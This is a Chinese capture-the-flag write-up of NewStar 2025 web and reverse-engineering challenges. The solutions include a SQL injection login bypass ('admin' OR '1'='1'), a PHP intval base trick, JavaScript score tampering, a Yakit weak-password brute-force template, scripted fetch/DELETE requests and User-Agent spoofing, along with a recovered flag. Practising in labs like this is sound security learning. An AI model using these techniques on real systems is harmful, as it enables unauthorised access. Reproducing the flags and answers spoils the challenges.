1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 void __cdecl x0r(const unsigned __int8 *cipher, size_t len) { size_t v2; // rax size_t i; // [rsp+18h] [rbp-18h] size_t i_0; // [rsp+20h] [rbp-10h] v2 = len; if ( len > 0x20 ) v2 = 32LL; for ( i = 0LL; i < v2; ++i ) flag[i] = cipher[i] ^ 0x51; if ( v2 <= 0x1F ) { for ( i_0 = v2; i_0 <= 0x1F; ++i_0 ) flag[i_0] = 0; } flag[32] = 0; }
web 1.multi-headach3
扔给ai,查了一下访问~/robots.txt
访问/hidden.php后直接跳转/index.php
ctf-攻防世界-web:baby_web_flag is hidden!-CSDN博客
参考文章之后发现用yakit抓包即可:
将包请求换成/hidden.php即可获得flag
flag{f3ad3e4a-38da-449d-aea1-c0b61a468083}
2.strange_login
输入即可
原理:
所以执行了'admin' OR '1'='1'
3.宇宙的中心是php
访问[http://8.147.134.121:24734/s3kret.php](http://8.147.134.121:24734/s3kret.php)
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file(__FILE__); include "flag.php"; if(isset($_POST['newstar2025'])){ $answer = $_POST['newstar2025']; if(intval($answer)!=47&&intval($answer,0)==47){ echo $flag; }else{ echo "你还未参透奥秘"; } }
要求10进制不等于47但是自动检测基数解析时等于47,就用16进制:
4.别笑,你也过不了第二关 先玩过第一关
观察源码:
修改获取的分数,最后结束:
1 2 3 score = 1000000; scoreEl.innerText = "分数: " + score; endLevel();
undo5.我真得控制你了
这里没有办法启动
把这里的shieldoverlay删除即可启动
启动跳转至[https://eci-2ze12m5yfvnpt5qmeusd.cloudeci1.ichunqiu.com:80/weak_password.php](https://eci-2ze12m5yfvnpt5qmeusd.cloudeci1.ichunqiu.com:80/weak_password.php)
弱口令
用yakit弱口令爆破没结果,放一下:username={{file:line(D:\Program Files\Yakit\yakit-projects\temp\tmp908375361.txt)}}&password={{file:line(D:\Program Files\Yakit\yakit-projects\temp\tmp667154937.txt)}}
[https://eci-2zefcob15uo91qkw5oy1.cloudeci1.ichunqiu.com:80/portal.php?newstar=~~2025](https://eci-2zefcob15uo91qkw5oy1.cloudeci1.ichunqiu.com:80/portal.php?newstar=~~2025)
6.黑客小W的故事(1)
脚本跑了一下如果光点击的话是没有办法直接到第二关的,于是乎
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 (function autoHunt() { fetch('/hunt', { method: 'POST', headers: {'Content-Type': 'application/json', 'Cookie': document.cookie}, body: JSON.stringify({count: 100}) }) .then(res => res.json()) .then(data => { if (data.NextLevel) return location.href = data.NextLevel; if (data.GeoCount) return setTimeout(autoHunt, 300); if (data.Gushen) { const gushenImg = document.getElementById('Gushen-img'); if (gushenImg) gushenImg.remove(); return setTimeout(autoHunt, 3000); } console.error("未知响应:", data); setTimeout(autoHunt, 1000); }) .catch(() => setTimeout(autoHunt, 2000)); })();
于是就到第二关。(当然他提示抓包,但是我发现抓的包每次发送是一样的,但是接收不一样,emm不知道啥意思。)
第二关:
提示:
[https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom](https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom?shipin=mogubaozi)根据提示在网址后面加[?shipin=mogubaozi](https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom?shipin=mogubaozi)变成 [https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom?shipin=mogubaozi](https://eci-2zec9jzeyoxii6alc9bx.cloudeci1.ichunqiu.com:8000/talkToMushroom?shipin=mogubaozi)
交互也变成这样了
根据上面提示的跟蘑菇提一下guding
所以在~/talkToMushroom?shipin=mogubaozi提交guding
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // 自动创建并提交一个表单(会导航到响应页面) (() => { const f = document.createElement('form'); f.method = 'POST'; f.action = '/talkToMushroom?shipin=mogubaozi'; // 目标 URL(同源) f.enctype = 'application/x-www-form-urlencoded'; // 添加要提交的字段 const add = (name, value) => { const i = document.createElement('input'); i.type = 'hidden'; i.name = name; i.value = value; f.appendChild(i); }; add('msg', 'guding'); // 普通说话字段 // 如果需要伪造 DELETE(服务器支持_method覆盖),可启用下一行: // add('_method','DELETE'); add('what','chongzi'); document.body.appendChild(f); f.submit(); // 提交并导航 })();
这里的msg可以换成其他的名字(因为这只是一个变量的名字)
提交之后返回的包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 </button > </body > <script > talk = [ "\u54e6\uff0c\u4f60\u662f\u8bf4\u9aa8\u9489\u5417\uff1f" , "\u8fd9\u4e2a\u9aa8\u9489\u6211\u6709\u5927\u7528\uff0c\u4f60\u5f97\u5e2e\u6211\u70b9\u5fd9" , "\u8fd9\u6837\u5427\uff0c\u4f60\u7528 DELETE \u7684\u65b9\u6cd5\u628a\u6211\u8eab\u4e0a\u7684\u866b\u5b50(chongzi)\u90fd\u5f04\u6389\uff0c\u6211\u5c31\u628a\u9aa8\u9489\u7ed9\u4f60" , ]; document .getElementById ("talk-btn" ).onclick = function ( ) { const feedbackDiv = document .getElementById ("feedback" ); feedbackDiv.style .color = "green" ; feedbackDiv.innerText = talk[Math .floor (Math .random () * talk.length )]; }; document .getElementById ("hint-btn" ).onclick = function ( ) { window .location .href = "/hint_MatoHelpsYou" ; }; </script > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 (async () => { try { const url = "/talkToMushroom?shipin=mogubaozi"; const resp = await fetch(url, { method: "DELETE", credentials: "include", // 带上 cookie(同源或服务器允许) headers: { "Content-Type": "application/x-www-form-urlencoded" // 不能手动设置 Origin 或 User-Agent }, // 有些服务器/代理会忽略 DELETE 的 body,但 fetch 允许发送 body: new URLSearchParams({ what: "chongzi" }).toString() }); const text = await resp.text(); // 把返回的 HTML/文本渲染到当前页面 document.open(); document.write(text); document.close(); // 可选:把地址栏替换为目标 URL(不触发导航) history.replaceState(null, "", "/talkToMushroom?shipin=mogubaozi"); console.log("DELETE done, status:", resp.status); } catch (e) { console.error("DELETE failed:", e); } })();
后面又反复了一轮(提交这个post)就出提示了
访问~/Level2_END:
根据提示把UA改了:CycloneSlash
打开目标页面,按 F12 打开 DevTools。
右上角三点菜单 → More tools → Network conditions (或按 Ctrl+Shift+P 搜 “Network conditions”)。
在 Network conditions 面板里,取消勾选 Use browser default ,在 User agent 下拉选择或粘入自定义 UA 字符串
换完之后出现了这个:
↑这应该是改错了的意思
改成这样就有下一个提示了
所以把名字改成:
CycloneSlash/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042
DashSlash/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042
就进入了下一关
怎么这么长。。